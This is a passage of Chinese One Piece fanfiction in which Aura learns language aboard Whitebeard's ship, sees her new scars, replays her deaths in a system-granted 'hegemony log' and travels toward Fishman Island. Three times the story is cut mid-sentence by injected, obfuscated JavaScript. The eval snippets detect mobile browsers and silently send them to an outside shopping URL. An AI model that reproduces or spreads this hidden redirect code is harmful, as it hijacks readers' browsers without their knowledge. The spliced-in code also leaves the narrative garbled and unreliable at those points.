奥拉僵住,在贝沙鼓励的眼神下缓缓跟出这个词。 “一番队,队长,马尔科!” 贝沙的声音提高了八度,引得船上的光明正大围观的海贼们哄堂大笑,纷纷学着贝沙那小孩独有的软甜嗓音去呼唤他们的大队长。 马尔科懒洋洋的掀起眼皮,没什么威胁力的警告被其他兄弟们的打趣忽视。 “喂喂,别拿我当素材啊yoi。” 他似是无奈的叹息,略带沙哑的声音却奇异的穿透了甲板上的嬉闹。 然而他的抗议无效,贝沙大胆指着马尔科一字一句的纠正着奥拉的错误。 “是马—尔—科!” 奥拉的视线从书本转移到懒散的男人身上,实际上她知道马尔科的名字,并且能说出来。只是发音羞耻症作祟,她迟迟不敢念出来罢了。就像前世她四六级都过了,但是一到口语就又像是没学过英语一样。 在贝沙强烈的目光中她舔了舔因为紧张有些干涩的唇角,低声念出了这几个音节:“马、马...尔......科?” 就在这时,贝沙抽走了那张写着白胡子海贼团单词的纸张。几步跑到马尔科的身边,递过去:“马尔科队长,请写上您的名字。” 还是第一次有人找海贼要签名。 马尔科对背景音里的呼声充耳不闻,洋洋洒洒间,他的名字便排到了白胡子海贼团单词的旁边。 纸张重放回到奥拉眼前时,她似乎能透过这随意的笔锋下看到那抹肆意傲然的灵魂。 她不由得发出感叹:原来不是所有医生的字都让人看不懂啊! 11. 白胡子海贼团日常(2) 继学习一番队队长马尔科这种长串的单词成功后,贝沙直接开启了新教育课程的大门,她将那本儿童认字书留给了奥拉。小小的身影,秉承着“恩人就是好人”的信念,穿梭在海贼们身边。 于是奥拉接连被迫学会了15个小队队长的名字读法及写法,并且通过贝沙自创的番队记数法,成功学会了数数。可以说,在贝沙不懈的帮助下,奥拉的语言得到了突飞猛进般的进步,当然这并不是教学的终点。 可能是漫长的海上航行太过无聊,也有可能是因为贝沙这小不点过于大胆的举动。贯会找热闹的海贼们不在满足于光明正大偷听小课堂了,不少人都参与到了教学中来。当然大部分人是出于玩乐的心态,十分热衷教给奥拉一些‘生活用语’。他们常凑到奥拉身旁挤眉弄眼的演绎着哥俩好的情节,或是互相推搡着笑闹,一板一眼的告诉奥拉“八嘎雅鹿”“口弄呀路”是打招呼的常用语,是对友人亲切的问候。 这也就导致奥拉时常看着眼前飘满“混蛋,你这个混蛋。”的字幕陷入沉默,最后只能眨巴眨巴眼睛假装听不懂的样子蒙混过关。 然而小老师贝沙是十分尽职的,年幼的她还没有接触过脏话的概念,只因在奴隶船上也听到过类似的话,便判定这是海贼们的特殊用语。 奥拉现在都记得,小小的贝沙鼓起勇气,攥起拳头,跑向甲板中心那个伟岸身影的那一日。 还没有对方小腿高的女孩,扬起脑袋,用最洪亮、最坚定的语气朝着这位救命恩人,发出了她认为最富有海贼礼仪的问候。 那一日,甲板上鸦雀无声,针落可闻。有人瞠目结舌,有人死死捂住嘴巴肩膀耸动。那瞬间奥拉感觉自己的心脏都停跳了一拍,再眨眼她就已经挡在了贝沙的身前,就当是轮椅坏了自动寻路到这里的罢——总之,奥拉当时快要吓死了! 那还是她第一次离白胡子这么近,六米高的人类即便是坐着也带来了极致的压迫,奥拉看着白胡子手臂上比她脑袋都要大的肌肉团块,瘫软的双腿在恐惧的刺激下忽然有了想要站起来就跑的力量。不过这堪称医学奇迹的一幕并没有发生,也没有时间发生。 睥睨众生的白胡子眉头一抬,露出了短暂的错愕。接着这位横行大海的至强者爆发出了雷鸣般的豪迈笑声。 “咕啦啦啦啦!” 由他开始传递,警报解除。尽力保持安静、或憋笑、或看眼色的海贼们爆发出一阵哄笑。 “你小子差点闯大祸了,哈哈哈哈。” “嗨呀,谁知道小丫头这么勇,还有你敢说你没教过吗?” 等等诸如此类的抱怨和嬉笑源源不断的响起,方才紧张的氛围顿时消失的一干二净。 然而还没等奥拉喘口气,燃烧着的青炎就占据了她全部的视线。跳动着的火焰触及皮肤,却不滚烫而是恰到好处的温暖。她顺着那火焰看上去,只看到了一番队队长大人长着细碎胡茬的下巴。 “哇——!”一声小小的惊呼,贝沙从他背上露出头来,她的脸上还残留着丝丝困惑,但很快被被飞翔中的漂亮翅膀吸引了视线。 马尔科并未解释什么,他咬着后槽牙,无奈的语调从奥拉头顶传来:“老爹......” 似乎是因为白胡子船长的胡闹,让这位左右手无可奈何。奥拉因着好奇向下瞟了眼,就在这一刻,她的脑中留下了对最强、对力量的深刻印象。 白胡子笑容未减,反手抽出了那柄立在身侧的巨大薙刀。他甚至没有起身,只是朝着空地随意一挥,没有杀意,没有斩击。白影划过的空间,肉眼可见的出现了犹如玻璃碎裂时的纹路! 原本平静的海风在这一刻汇聚,仿佛成了白胡子随意使用的玩具。朝着这些看热闹不嫌事大的海贼们‘轻轻’吹了过去。 “老爹!!!” 这种并不认真,携带着小小恶作剧心态的攻击伤不到这些身经百战的老油子们,但足以让他们像下饺子一样个个被掀进海里成了落汤鸡。或是被海风卷起的波浪浇了个透心凉。 奥拉眼尖的看见,也有不少人在白胡子伸手握刀时就脸色大变,纷纷爬上缆绳或躲到高处,提前离开了攻击范围,就像现在飞在空中的她们一样。而那些反应慢了半拍和只顾着大笑的家伙就只能在这股温柔又霸道的力量下,哇哇大叫着被“送”去洗澡了。 “也太乱来了,喂!谁下去捞一下能力者yoi!” 马尔科在白胡子爽朗的大笑中落回甲板,有条不紊的指示着同伴们去救人,反应非常熟稔,显然这种事情不是第一次发生了。 这帮热心的海贼,甚至不忘帮奥拉捞一下她可怜的轮椅,让奥拉大为感动。 只不过这股感动并没有维持太久,处理完甲板上所有乱象的马尔科并没有径直离开,而是回到了奥拉的身旁。再次露出了在医务室里那评估着什么的眼神,从上到下,从左到右,不出半刻,他朝着奥拉微微颔首:“恢复的不错,再过两天就可以拆线了yoi” 而此时,正因为轮椅潮湿无法坐下,只能扶着鱼人塔克勉强站立,双腿哆嗦个不停的奥拉内心出现了巨大的问号:你确定吗? 无论怎么抗拒,拆线的这一天还是来了。 事实证明马尔科的判断是对的,至少奥拉现在站起来后不会控制不住自己的双腿了。 来为奥拉拆线的是护士们,她们的动作熟练,手上很快,大概只用了五六分钟,奥拉身上覆盖了几层的绷带全被解开,落到了脚边上。接着是检查身上的伤势长合情况,全程奥拉都紧紧闭着眼睛不敢看。 “不用担心,恢复的不错。” 察觉到奥拉的紧绷,其中一位护士温和的开口安慰。 奥拉这才缓缓睁开眼睛。 最先映入眼帘的,是一条蜿蜒的疤痕,贯穿整个右侧的大臂直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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奥拉目光灼灼,她微微侧过脸,手指轻轻按压着这道异色的疤痕上,沿着它的边缘描摹。在感官上已经不是很痛了,摸上去没有明显的阻塞或者隆起的部分,除了有些皱巴,和原生的皮肤似乎没什么不同。 一时间她竟也不知道自己此时的心情是如何的了,谈不上有多难过,也说不上释怀。那种感觉,是从心底油然而生的,她自己尚且也没办法真正理解的,像是某种......隐秘的兴奋。 “......哈。” 她发出短暂的气音,放弃抵抗般的再次垂下了头。手上力道一松,镜子掉到了地上。 这才像是正常人看到毁容后会有的行为,她下意识的做出这样的举动。 只不过,在无人看见的角落里,镜子偶能照到半张脸上,她并不平静的眼眸里迸发出了异样的光彩,她正一瞬不瞬的注视着镜子里的自己。 透露着连她的主人本身都在抗拒着的,某种不再‘正常’的情绪。 仿佛在接受,彷佛在记忆,只这一刻与以往毫不相似的自己。 12. 争霸日志 在奥拉仍沉浸在那种难以名状的兴奋与震颤中时,一道和奥拉声线相似的女声毫无预兆的响起,扰乱了此刻表面的平静。 “宿主,具有威慑力的外表是一位霸主该具备的基本特征,恭喜您离称霸伟大航路又进了一步。” 闻言奥拉下巴贴在膝盖上,出声时微微抬起半张脸,目视着前方空处,幽幽地问道。 “......难道罗杰的大胡子?或者鼻毛?是他成为海贼王的原因之一吗?” “也不无可能。”系统回答的斩钉截铁。 “是完全不可能吧!”奥拉也不甘示弱的回击。 奥拉一点也不想听系统展开关于胡子或鼻毛如何发挥王霸之气,从而招揽小弟的可能性分析,退一万步讲冥王雷利也不可能是因为罗杰的胡子(鼻毛)决定随他出海从贼的。 因为系统的打岔,奥拉的情绪像漏气的气球一样开始消散,她的注意力不由得落到了系统的身上。 系统自被激活后,简直像被赋予了人格般。它不再是奴隶船上那个被呼唤时毫无反应的存在了,现在几乎有问必答,有时还会主动冒出来和她聊天。无论是打趣的语气,还是类人的声线,都时常让奥拉觉得自己面对的不是一个来自未知的高维产物,而是个活生生的人类。 就像现在,奥拉根本无法分辨,它究竟是真的想要传达外表威慑力的重要性,还是在安慰她。 “系统。”她忽然轻轻问道“你是在安慰我吗?” 短暂的停顿后,系统的声音依旧平稳,只隐隐露出些许冷酷的口吻。 “宿主,未来霸主不需要这种软弱的情绪。” “你果然还是像没有人情味的智能AI。”虽是在预料中的答案,奥拉还是不满的撇撇嘴。 “事实上”系统的音调提高,用那隐隐有些自得的腔调对它亲爱的宿主说道“我是更高级别的存在。” “噢~”奥拉故意拖起长腔,并不买账,“要我夸你是高级系统吗。” “荣幸至极,在我的帮助下,您也将成为这片大海真正的霸主。” 奥拉被系统噎了一下,她实在不习惯系统的自吹自擂和三句话不离霸主目标的行为,最后与系统的交锋只得草草落下帷幕。 不过提到霸主,奥拉想起了被她忽略的另外一件事,转而发问: “争霸日志究竟是什么?” 系统发挥了它一贯的作风,“请您自行探索~”。语罢它又补充道,“可以点击使用哦~” 闻言奥拉眉头微挑。 由于这段时日在船上的生活十分充实,和贝沙她们几乎寸步不离,除了醒来时的粗略查看,这期间奥拉一直没有主动去摸索过系统的其他用法。 现在有了机会,她想看看这究竟是个什么东西。 她忐忑的触碰了下系统屏幕上的日志部分,几乎同时,指腹之下的屏幕犹水面涟漪向外阵阵荡漾,从屏幕延申至奥拉所在的空间,都如同波纹一样,扭曲成一片。 奥拉怔怔看着眼前的变化,竟忘记将手收回来。 她记得自己没有眨眼,而眼前却已然换了副景象。 毫无尊严被锁在铁笼中的人们低垂着头颅,她们在黑暗中保持沉默。幼小的孩童透过铁栏杆渴望着外面的世界,可在触及她的眼神时惊慌匆忙的低下了头。 这里,空气中漂泊着股酸臭味。这里,空气中弥漫的是看不到未来的绝望。 这里是奴隶船。 她又回到了这里! 奥拉慌乱的从地上爬起来,却因脚踝上的重量又摔了下去。手上的汗渍,脚上的疼痛,手掌的摩擦,所有的感官都是如此的清晰,这让奥拉心神不定,都要开始怀疑自己在白胡子生活的那段时间只不过是场梦了。 “......系统,你在吗?” 奥拉看到了手上的疤痕,理智这才回笼。她抿起嘴角,呼唤着系统。 然而半天都没有得到答复,连系统界面都消失了。 所以系统是把她传送到过去了,还是过去的投放......? 不过无论重来多少次,奥拉都不会坐以待毙。 她环顾一圈,视线在自以为隐蔽的小女孩身上停留。相处下来以后,奥拉知道,贝沙一直是个勇敢的孩子。 “你好,名字,奥拉,我的。” 小老师的教导成果非常出色,顺利的从奥拉的嘴里说了出来。 和记忆中相同的是,年长孩子的警惕像刀子一样刮过来,这个孩子捏住贝沙的手腕,不想要贝沙和这个突然过来搭讪的怪人说话。 不同的是,这次贝沙没有躲到年长孩子的身后,她瑟缩的神情上多了些好奇,用奥拉十分熟悉的童音小心的接过陌生人递来的话头:“你好,我叫贝沙。” 接下来,奥拉完全复刻了自己曾在奴隶船上的行动。 这次有了可以交流的能力,她与奴隶们更加容易的约定好了逃跑的计划。只不过,在最后的关卡出现了意外。 有人将计划报给了海贼们——奥拉被加卡罗刺穿身躯的时候,还是无法接受这一点。那个人甚至在她们登上白胡子海贼团后,来医务室看过她。 为什么? 没人能告诉她答案,她们执行的计划早已成了鬣狗们眼中有趣的戏剧,看着她们小丑一样出尽洋相后结束这场连游戏都算不上的闹剧。 意识被黑暗吞噬的前一刻,系统那平静无波的声音终于姗姗来迟: “检测到宿主已死亡,任务re为绝望填充愤怒的炮火,勇气是人类的赞歌已失败。是否离开日志?” 她吞下嗓子里的血腥,愤愤道:“能不能重来?” “好的,任务re为绝望填充愤怒的炮火,勇气是人类的赞歌即将重新开始,请宿主做好准备,倒计时5、4、3.....” 奥拉现在已经清楚什么是所谓的争霸日志了,简而言之,就是系统要把她曾经的经历记录下来,然后把她骗进来随便杀,重新开始了再杀。 杀杀杀。 天娘的,她现在想把世界鲨穿。 奥拉自己都不记得经历了多少次死亡,因为能够重新开始,她已经逐渐放弃了保守作战。 最终在经历了被背叛而死、被抓住而死、被卖上岸自动失败等等bad ending后。她靠着同归于尽、同归于尽、同归于尽勉强算是完成了任务。 回到医务室时,她还保持着原本蜷缩的姿势。她检查自己的身上没有伤口,但浑身肌肉发酸,头也晕乎乎的。看来她在日志里的身体状态也会带到外面来。 缓口气后她伸直双腿,没有半点发麻,也不知道时间过去了多久。 系统届时跳了出来:“检测到宿主已通过争霸日志1。评级1星,勉勉强强全靠运气,奖励1能量点......首次通关奖励1能量点。” 居然还有首通奖励,奥拉瞳孔地震。 她忙忙碌碌送死,通关三次都是1星,加上首通奖励,最后一共到手了4个能量点。维持了好几天的零蛋涨幅到了4,奥拉在奴隶船上时都没有同时得到过这么多的能量点。收获的喜悦多少盖过些许她心中的郁气。 再攒5点她就可以使用宝葫芦了,虽然不知道这个功能的作用是什么,但奥拉直觉要在下船前至少使用一次。不论使用后得到的是什么,都至少能对她未来要面对的陆地生活起到些作用,而不至于让她在陌生危险的世界里太过被动。 不过,她现在不想在莽到里面去了,在副本里所有的伤痛都无比的真实,即便知道里面的死亡、受伤都是假的,也让奥拉感受到了严重的生理上的不适。况且,即便只能通过同归于尽通关,奥拉也依旧认为还存在着其他,她没发现的通关方式,现在她的通关等级是1星,奖励1能量点,那如果获得更高的星级说不定还能得到更多。 需要更聪明的方法,需要徐徐图之。 初步定好想法后,奥拉决定要出去走走,医务室的空间很宽阔并不让人觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988689|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得压抑,但她脑中思绪混乱,她需要出去透透气,让海风冷却一下过于活跃的头脑。 奥拉记得她是晚餐过后被安排去拆线的,现在出来天空依旧深沉。甲板上很热闹,远远的,她甚至看见几个平日里总是躲着海贼的、同批被救的受害者,此刻也倚在船舷边,安静地望着大海。有人索性将晚餐端到了甲板上,盘子里的饭菜还是满的。看样子并没有过去多少时间。她由此判断,争霸日志要比外面的时间流速快得多,相比之下,外面的时间可能是极缓慢的流逝,或者干脆就是暂停的。 这说明她可以随时进入争霸日志,而不被任何人发现。 思及此,她眼睛一亮,这是个关键时刻能苟命的装备啊!料想以后如果遇到危险,完全可以躲到里面去,待她恢复体力、重新思考在出来后未必没有翻盘的可能。 不过这也都是以后的事情了。 她登上了甲板的二层,并没有注意到自她从船舱出来时,一大一小两道身影悄悄抬头注视着她。待她消失在楼梯的尽头时悄悄跟了上来。 二层没什么人,但也不至于完全脱离人群。听着喧嚣,奥拉平躺了下去,双手枕在脑后。 黑色的夜幕中繁星闪烁,如宝石点缀,闪耀着倒映进她仰望的眼眸。 很美。 以前她很少看星星,应该说很少抬头去看天空。这番繁星璀璨的景象她还是第一次见,不由得就看入了神。 就连身边多了人她都没有察觉。 “奥拉。” 她被呼声拉回现实,这才发现不知什么时候,高大的红鳍鱼人坐在了她的身边。贝沙跪坐在一旁,双手放在膝盖上,正睁着明亮的大眼睛看着她。 等了会见二人都不说话,奥拉不明所以的撑起半边身子,歪了歪头:“怎么了?” 往常总说个不停的贝沙今日格外安静,她瘪着嘴,看起来快要哭了,却在强忍着。 奥拉心中一软,她半开玩笑着疏解气氛,“吓到,你,了么?我?” “才没有呢!”贝沙大声反驳着,激动的站了起来,她凑到奥拉的身旁,几乎有些粗鲁的撸起了自己的袖子。 她白嫩嫩的皮肤上,赫然有几道新鲜的、泛红的指甲印——明显是她自己刚刚用力掐出来的。 贝沙的视线躲闪,一副心虚的样子:“有什么吓人的,我也有啊!” 奥拉觉得有些好笑,同时胸腔中升起股暖流。她伸手在贝沙的手臂上不轻不重的来了一下,顶着贝沙幽怨的小眼神笑出了声。 她扭头转向塔克,脸上还带着促狭的笑意,“你,也有,吗?” 塔克手指蹭过脸颊,并没有搭话,比起贝沙他总是寡言那个,现在也是一样。在奥拉的注视下他左右张望了会,后点了点头,像是做好了决定般,同样往奥拉的身前凑近了些。三个人围在一起,夹角形成了小小的三角形。 然后他掀起了自己的衣服——塔克很高壮,但衣服下的皮肉几乎贴着骨头,奥拉知道他这几日已经吃胖些了,可现在依旧是营养不良的样子。 他红色的皮肤上,遍布着伤痕,有一些是鞭痕、有一些是刀伤,有一些则奥拉根本认不出来,一条条如巨型蜈蚣盘踞在他的身上,紧紧纠缠着这名鱼人族的少年。 在被抓走后,他吃了很多苦,是奥拉没法想象的。 奥拉想要张嘴说些安慰的话,可最后什么都没说出来,只能干涩的吐出几个字:“你,衣服,穿好。” 塔克没有立刻动作,他先是低头看了看自己的骇人的伤疤,接着“咯咯咯”的笑了起来。 此刻他像是炫耀玩具的孩童般,指向了自己,“奥拉,我也有啊!” 奥拉眼眶微酸,实际她已经开始接受自己外貌的变化了。可这份关心,仍让她深受触动,她现在很庆幸她们一起逃了出来。 而她身上这些记录着过去的痕迹,已将她这个来自彼世的外乡人彻底留在了这里。 她诚实地认为,这并不坏。 13. 前往鱼人岛 “奥拉姐姐的故乡在哪里?” 圆月挥洒下的甲板上,三个体型不一的人,肩膀挨着肩膀并排躺着。 这里是任何神奇天气出现都不奇怪的伟大航路,就连夜晚的温度也和前几日不同。凉爽的风轻抚过身体带走了她一身的疲惫,在迷蒙的睡意中奥拉听到了,贝沙这句没头没尾的话。 奥拉迟钝的吱唔了声。 贝沙没有追问,她像是随口一问,并不在乎奥拉是否回答。她还很精神,清澈的瞳里没有丝毫困倦,嘴张开似乎有说不完的话。 “我也不知道家乡在哪里......” “可是我还想见到爸爸妈妈......” “还想和爸爸妈妈,奥拉姐姐,塔克哥哥永远生活在一起....” 奥拉强撑着沉重的眼皮,安静的听着没有发表意见。她知道这看似小小的心愿或许很难实现了......白胡子海贼团对她们这些受害者是很和善的,也愿意将她们送往陆地。可他们不会按照受害者们提供的位置,将她们个个送回故乡。最多只是找一块安全的陆地将她们安置,或许是白胡子管辖的某地也或许是海军要塞,总之他们并没有义务做这样吃力不讨好的事情。 也不会有人向海贼们提这样的要求。更甚至——奥拉回忆起受害者们近期在船上的活动:嗯...除必要的接触外,她们似乎都习惯躲在船舱里很少出来。不说原本就是被庇护的鱼人岛出身的塔克,像她和贝沙这样在海贼船上正常行走的才是异类。 而且奥拉知道她们的分别并不远了。 “我会回到鱼人岛。”塔克插了句话,更直接的表明了贝沙的心愿是不可能实现的。 贝沙压着嗓子发出不满的哼声,不过最终也没有反驳什么,反倒是提起了对鱼人岛浓浓的兴趣。她抬高双腿,嘿咻一下屁股顶着地板坐起来,迫不及待的问道:“鱼人岛是什么样子的?” 鱼人岛啊,好像就快到了吧......?等离开鱼人岛后,估计她们也快要下船了......下船以后...... 在两个小孩的讨论中,奥拉的思绪越飘越远,最终不堪重负的合上了双眼。 - 奥拉以后再也不想睡到甲板上了,一觉醒来,神清气爽但是腰酸背痛。 塔克和贝沙谁也没有回到船舱,两个小的压在她的手臂上还睡的正香。 已经感受不到手臂的奥拉呆滞望天,然后她在抽出手臂和再睡一会中选择了呼唤系统。 “早上好宿主~看来您已经招收到了符合心意的下属,但是下属的实力......” “停!”奥拉当即打断了系统的碎碎念,“她们是我的朋友,不是下属。还有,能不能帮我打开争霸日志。” 新的一天,当然是从新的一轮杀杀杀开始。 贝沙的话提醒了奥拉,她其实没有太多时间去浪费。等从鱼人岛离开,或许很快白胡子海贼团就会把她们这些人放下。她思来想去,还是认为自身的力量才是通关的关键,如果她很强,那就不必想的太多。就像满级的大佬刷新手村,直接强推。 如果拥有力量,就不会只能凭借飘忽不定的运气狼狈过关。 眼下,她想要快速的变强,倒是可以利用争霸日志。 这次,当她再次站到过去的恐惧里时,没有立刻去寻找同伴的支持。而是举起了武器,从面对一个看守海贼开始,一步步学会反击。 这是个相当漫长的过程,但在现实中也曾单独击杀过凶狠的鬣狗。 手中已经见了血,接下去就不会太难了。 就这样,奥拉在船上的生活慢慢步入了新的秩序里。伤疤对于海贼们来说太过稀松平常,并未有人为此对奥拉投以更多的关注,这也让奥拉逐渐适应了自己的新皮肤。有时候她还会悄悄照镜子,自我欣赏一番——哦~看顺眼了好像还挺帅的。小小的满足了下自己早已熄灭的中二之魂。 在争霸日志里的锻炼持续进行着,她始终没有得到过更高的星级,倒是因为把着重点放在了变强上,通关成功的次数也降低了很多。 “呼——”二层的甲板上奥拉深深吐出一口气,自从那日和贝沙塔克在这里睡了一夜后,她便也习惯时常到这里来呆着。随着脑中系统的提示音落下,掐着到达鱼人岛的前夕,她终于堪堪集齐了五个能量点。 至此,使用宝葫芦所需要的九个能量点就都集齐了。 “嗯?奥拉,你在这里啊。”棕色飞机头的男人端着盘水果出现在二楼,他把手中托盘递到奥拉面前,夸张问道:“这是——” “......苹果。” “bingo!拿去吃吧。” 唯一让奥拉感到难为情的是,海贼们对她语言学习上的关注和过于热情的教学态度。不知道从谁开始的,对奥拉说话总要考教她一番才能开始正常的沟通。 像是现在萨奇这样的问题已经是很简单的了,虽然这个邪恶面包头是这艘船上唯二热衷于向她提问的人,但奥拉还是保持礼貌的道谢。 “谢谢,萨奇,队长。” “啊哦嗯,吃吧。”他不是专门来给奥拉送苹果的,自己已经咔哧咔哧吃了几块,说话时含糊不清。他眺望着远处的风景,随后闲聊般开口,“终于要到鱼人岛了......” 奥拉视线落到外面,莫比迪克庞大的身躯完全静止在了海面上,随着波浪起伏,一层浅浅的七彩流光罩在头上。甲板上人头攒动,大家都忙碌的做着前往鱼人岛的准备工作,其中她还看到了塔克的身影,他和几个鱼人站在一起正商讨着什么。船帆完全被收了起来,白胡子立于中央静静等待,在气泡内的围绕着船只飞翔的青鸟盘旋落下,临近桅杆时双翼化作结实的手臂,他手臂上青筋微微隆起,抓着缆绳,身子极度倾斜,却晃也不晃,只留几缕青炎在肩头跳动,映的他侧脸明明暗暗。 “谁能想到那么漂亮的鸟,皮子底下是个大叔呢。”注意到奥拉的视线,萨奇笑嘻嘻的攻击着自己的兄弟。 奥拉在苹果上小咬一口,甘甜的汁液在口腔中漫开。 还未等她说些什么,马尔科的呼声先传了过来:“可以开始了!” 随着他一声令下,包裹着七彩气泡的莫比迪克发出声闷响,船头缓缓向下倾斜。 “哦~来了。”萨奇吹了声口哨,满是惬意,“不管多少次,都还是会被震撼。” “睁大眼睛看吧,这是真正的大海。” 深潜,开始了。 蔚蓝的海面之下俨然是另一个世界。 起初还能看到阳光穿透下波光粼粼的浪流,鱼群结伴成群煽动着尾巴留下细密的气泡。逐渐的,四周的光亮远去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有球体滚落的声响,须臾一颗圆润光滑的淡蓝色珠子从葫芦里飞到了她的眼前。珠子的内部并非实心,而像蕴含着星云,滚动酝酿着什么。 然而还没等奥拉将它收回掌心。 整个深海,毫无预兆的暴动了! “快看!海王类!” 深海中,闲适遨游的深海巨兽们像是收到了特殊的指令,柔软狭长的身体集体调整方向朝着某个方向猛冲。 裹挟在其中的莫比迪克随时可能被这些横冲直撞的家伙撞得粉身碎骨,船体在躲避它们的同时被迫倾斜,翻转! “都抓紧了!” 有人在甲板上高声呼喊,奥拉在剧烈的摇晃中为了稳住身体,双手用力的扣紧栏杆。她双眸紧张的盯着那枚刚到手的蓝色珠子。它还漂浮在她的面前,没有受到震动的影响。 可意外来的太快。 甲板中央,白胡子依旧矗立如神像。他没有发出任何指令,只是将手中的丛云切向地一顿。 “咚——” 一声奇异的闷响,并非来自刀柄与甲板的撞击,而是仿佛直接响彻在每个人的胸腔里,与船体的嗡鸣共振。 接着以莫比迪克为圆心,某种无法言说的可怖力量瞬间席卷了所有妄图靠近的海王类,这些巨兽要么立刻远离了船只,要么瞬间失去了意识。 而那颗蓝色的珠子,蓦地竟开始震颤,它似乎想要到白胡子的身边去。 可最终,它拖曳着蓝色的尾光,画出一道细长的弧线。 在奥拉的面前,钻进了海里。 奥拉:??? 14. 抵达鱼人岛 鱼人岛从外看上去是座被透明泡泡包裹的岛屿,奇异的是它虽位于深海却依然能够得到太阳的照拂,朵朵白云悠然的挂在天上,不似深海。 巨大珊瑚礁、贝壳等陆地不会取用之物组成的建筑各有特色,脚踩在这片海洋上,呼吸仍畅通无阻。 这片大海的神奇,让人无法想象。 可奥拉现在却没有太多欣赏的心情。 “真的不能直接回收吗?” “是的,宿主。既已出货那就是这个世界的产物,系统目前无法操作。请宿主自行找回......” 再次得到否认的答案,她叹了口气,蹲在莫比迪克高高的船舷后,只露出双眼睛,复杂的看向船外热闹的港口。 三三两两的海贼们结伴而行,他们标志性的装束和爽朗的说笑声引来众多鱼人和人鱼们的关注。那些视线多数是好奇和友善的,甚至还有人上前与海贼们攀谈,或是送上鱼人岛特产当作礼物,一一都被海贼们嘻嘻哈哈的接纳了,气氛看上去十分祥和。 鱼人岛的民众看上去并不排外...... 但这不代表奥拉就能离开莫比迪克独自行动了。 她收回视线,在她身旁贝沙正鼓着脸颊,垂着脑袋在纸上写写画画。她紧紧攥着笔杆,笔尖在她的操纵下发出与纸张急促摩擦的哗哗声。看上去还在因为塔克今天要回到鱼人街不能带着她一起而独自郁闷呢。 虽说鱼人岛被白胡子这个人类庇护,但这并没有改变鱼人们对待人类的态度。白胡子海贼团的成员们拥有强悍的实力,且是属于白胡子的一员,自然不会被选为袭击劫持的目标。 可她们仅仅只是被白胡子救助的外人,她自然不能指望着所有鱼人岛的原住民都能爱屋及乌。 外面对她们来说,依然是危险的。呆在船上,直到重新启航才是聪明人的做法。 这是奥拉纠结的主要原因,要离开相对安全的莫比迪克,出去寻找一颗小小的珠子,还不知道会花费多少时间,更何况她不确定那颗珠子是不是跑到了鱼人岛上,她只能抱着总要找一找的心态去岛上看看。 话说回来,尽管她已经在争霸日志里锻炼过一段时间了,但她对自己有多少斤两还是认知非常清楚的。 她现在根本打不过任何一个鱼人,毫不夸张的讲,就算是随便一个路边的鱼人小孩咬她一口,都能直接送她离开这个世界...... 可让她放弃珠子那是不可能的,她辛辛苦苦,活了死了死了死,好不容易攒到的能量点,难道要让它打水漂吗?! 光是想到这种可能她就呼吸不畅,心痛的不行。 无论如何,她都要想办法出去一趟才可以! 她的目光在空荡荡的甲板上寻找,有不少人都跟着白胡子前往龙宫赴宴了,其余留守的人要么就已结伴出行,要么就还呆在船舱里。 在她的印象里,目前留在船上的她所熟悉的海贼团成员并不太多。 萨奇?她和萨奇的交际实际并不太多,但萨奇为人爽朗十分热情,对她们这些人很友善,因此奥拉与他相处的还算和谐。但是一想到可能会在找东西的路上,被邪恶面包头突击考察,她就又退缩了。 相较之下,好像还有一个人可以选...... 奥拉的视线不由得飘进了船舱里,医务室的门安静的关着,但奥拉知道那个人很可能在里面。随去龙宫赴宴的人里面并没有他。 马尔科......是她在白团认识的第一个人,因为受伤经常要出入医务室的缘故,与对方还算熟悉些。 更重要的是,他不会随地大小考! 这个朴实无华的因素让她迅速决定寻找靠谱的鸟妈妈寻求帮助。 她并未打扰还在和手里的纸张较劲的贝沙,怀着无比忐忑的心情走向了医务室的方向。 可当她站在门口时,忽地就又后悔了,举着手半天没有叩响门扉。 熟悉并不意味着亲近。 这么久的航行下来,她其实觉得马尔科并不是好相处的性子。并不是这位一番队队长过于高傲或者威严的让人难以接近,恰恰相反的是对方在船上时对遇害者们照顾到位,事事办的有条不紊,永远带着份游刃有余的冷静,可以说白团大部分的事情都要经过他的手,这份可靠是值得让人信赖的。 但这份周全对现在的奥拉来说是种无形的阻碍,她要怎么在不暴露系统的情况下获得马尔科的帮助呢? 或者说,她该怎么解释,她一个没登上岛的人,会有东西掉在岛上。 如果对象是萨奇,她或许还可以笑闹着说想要上岸逛逛,那位脾气颇好的厨师长大概是会笑着应允,带她下船的。 可对象一旦换成马尔科,她就觉得这是不可行的了,甚至感觉到了丝丝的紧张。 她实在不擅长应对这种难以捉摸,又偏内敛的人。 可就在她想要知难而退之际,她面前的门突然从里面被打开了。 “怎么了yoi?” 奥拉看着蓦地出现在眼前的胸肌连退了好几步,直到后背贴到墙上,才想起抬头对上马尔科的脸。 他带着那副鲜艳的红色眼镜,手中还拿着一个记录板,看样子是正在忙。 “我、我......” 奥拉张着嘴,大脑一片空白。 马尔科在她写满紧张与犹豫的脸上停留了两秒,随后扬了扬手中的板子,随意道:“这是什么?” “啊......”奥拉没跟上马尔科跳跃的问题,她眼神在马尔科的手上飘忽了下,试探着回答。 “记、记录板?” “我是谁yoi?” “马尔科......队长?” “那么...你有什么事情yoi?” 随着马尔科最后的问题落下,时间好像停滞了了一瞬。 在这短暂的空荡里,奥拉终于找回了自己的理智。 